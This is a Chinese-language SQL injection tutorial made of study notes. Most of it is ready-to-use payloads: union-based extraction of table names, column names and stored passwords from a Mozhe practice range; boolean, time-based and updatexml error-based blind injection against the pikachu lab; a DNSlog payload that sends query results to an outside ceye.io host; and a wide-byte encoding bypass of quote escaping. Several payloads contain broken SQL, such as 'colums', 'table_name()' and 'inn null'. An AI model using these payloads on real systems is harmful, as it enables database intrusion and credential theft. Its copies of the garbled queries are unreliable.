知识点(重要)
1.在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
数据库中符号"."代表下一级,如zx.user表示zx数据库下的user表名。
- [X] information_schema.tables:记录数据库所有表名信息的表
- [X] information_schema.columns:记录数据库所有列名信息的表
- [X] table_name: 表名
- [X] column_name:列名
- [X] table_schema:数据库名
2.参考
like 'ro%' #判断ro或ro...是否成立
regexp '^user[a-z]' #匹配user及user...等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
SQL注入思路
首先找到注入点,然后通过判断数据库行,使用联合查询获取数据库版本信息,当前库和操作数据库用户名和系统版本信息,通过获取到的信息爆破出数据库表名,列名,最后获取自己想要的信息。
判断注入点
- 无过滤情况下在变量后输入一个id=' and 1=1#和id=1' and 1=2#(and可替换为or,xor)如果两个语句返回的界面不一样则证明存在SQL注入。
- 在变量后随便输入一个不存在的值如果页面报错则可能存在注入点。
注:如果无变化或者自动跳转到其他界面则不存在SQL注入。
常规注入思路
以墨者SQL注入靶场为列。
1.判断注入
猜解列名数量(字段数) order by x 错误与正常的正常值
2.报错猜解准备:
http://219.153.49.228:48354/new_list.php?id=1 union select 1,2,3,4http://219.153.49.228:48354/new_list.php?id=-1 union select 1,2,3,4
3.信息收集
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
4.查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:48354/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='要查询的数据库名'
查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:48354/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='要查询的表名'
查询指定数据
http://219.153.49.228:48354/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
注入方式
盲注:SQL语句在注入中,前端不返回执行语句后的信息
布尔盲注:常用命令regexp,like,asciimleft,ord,mid等
- 首先判断是否存在注入点
- 使用
id=1' and left(version(),1) = 'x'
(参测数据库版本)如果正确会显示正常页面,错误则页面不正常。 - 先用
id=1' and length(database())=8
(判断数据库长度),之后在使用left (database(),1)='x'
来猜出数据库名称(=也可以换成><) - 使用
and ascii(substr((select table_name from information_schema.tables where table_schema=databases() limit 0,1),1,1))>80--+
来猜数表名,and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+)
也可以用来猜表名。
ascii码来猜表名,substr来确定字符串位置,limit来确定表行 - 使用
and 1=(select 1 from information_schema.colums where table_name='username' and column_name regexp '^X' limit 0,1)--+
猜解列名 - 使用
and ord(mid((select inn null (cast(X as char),0x20) from 库名.表名 order by id limit 0,1 ),1,1)) =68
判断表中的内容
时间盲注
- 利用
id=1' and if (1=1,sleep(5),1)
根据页面反应时间来判断是否存在注入(存在注入点则有五秒延迟) - 如果有注入点则通过布尔盲注的思路来对数据库进行爆破.
报错盲注-回显
1.updatexml函数报错信息实现sql注入(更新数据界面)
①爆破数据库版本
a' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#'
select * from 表名 username='' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#'
②爆破用户名
a' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#'
select * from 表名 username='' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#'
③爆破数据库
a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#'
select * from 表名 username='' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#'
④爆破数据表
a' and updatexml(1,concat(0x7e,(select table_name() from information_schema.tables where table_schema="pikachu" limit 1,1),0x7e),0)#'
⑤爆破字段
查看密码:也得用limit 0,1
a' and updatexml(1,concat(0x7e,(select column_name() from information_schema.columns where table_name="users" limit 1,1),0x7e),0)#'
⑥爆破数据
a' and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)#'
2.insert(创建用户界面)
思路大致和上面的updatexm函数注入大致相同payloa:'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '
3.detele报错(一般出现在删除信息界面)
通过复制删除网址-然后在hackbar里面进行命令输入;
http://xxx/pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
DNSlog注入(相比盲注比较推荐这种注入方法)
1.布尔盲注和时间盲注都相当于猜单词的游戏,如果需要进一步的猜测效率很低,发送数据包量大很容易会被安全工具拦截,为了减少请求,可以使用DNSlog注入的方式来进行注入。
2.DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息,利用http://ceye.io/网站提供的Dns解析支持来进行注入。
payloads:id=1%27%20and%20if((select%20load_file(concat(%27\\\\%27(select%20version()),%27.mysql.phw25j.ceye.io\\abc%27))),1,1)--+
宽字节注入
背景
- 当某字符的大小为一个字节时,称其为窄字节
- 字符的大小为两个字节时为宽字节
- 所有英文默认占一个字节,汉字为两个字节
- 常用的字节编码有GB2312,GBK,GB18030等
原理:
程序员为了防止SQL注入,对用户输入中的单引号 ' 进行处理,再 ' 号前加上进行转义防止SQL注入
绕过方法
当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠()组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用
推荐使用Sql-map工具增加数据库注入效率: